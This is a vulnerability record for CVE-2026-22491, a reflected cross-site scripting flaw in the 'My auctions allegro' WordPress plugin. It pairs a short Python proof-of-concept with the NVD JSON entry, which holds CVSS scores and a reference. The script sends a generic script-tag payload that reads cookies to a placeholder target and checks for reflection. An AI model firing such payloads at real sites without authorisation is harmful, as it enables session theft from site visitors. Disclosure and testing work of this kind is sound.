CVE-2026-22491

# Proof of Concept for CVE-2026-22491 # This script demonstrates the Reflected XSS vulnerability. # Replace the target URL and parameter based on actual vulnerability analysis. import requests target = "http://target-site.com/" # Generic XSS payload payload = "<script>alert(document.cookie)</script>" # The vulnerable parameter name needs to be confirmed via source code review or fuzzing params = { "vulnerable_param": payload } try: response = requests.get(target, params=params) if payload in response.text: print("[+] Vulnerability Confirmed: XSS payload reflected in response.") else: print("[-] Payload not reflected. Check parameter name or plugin version.") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-22491", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:31.087", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wphocus My auctions allegro my-auctions-allegro-free-edition allows Reflected XSS.This issue affects My auctions allegro: from n/a through <= 3.6.35."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en wphocus My auctions allegro my-auctions-allegro-free-edition permite XSS Reflejado. Este problema afecta a My auctions allegro: desde n/a hasta &lt;= 3.6.35."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/my-auctions-allegro-free-edition/vulnerability/wordpress-my-auctions-allegro-plugin-3-6-33-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}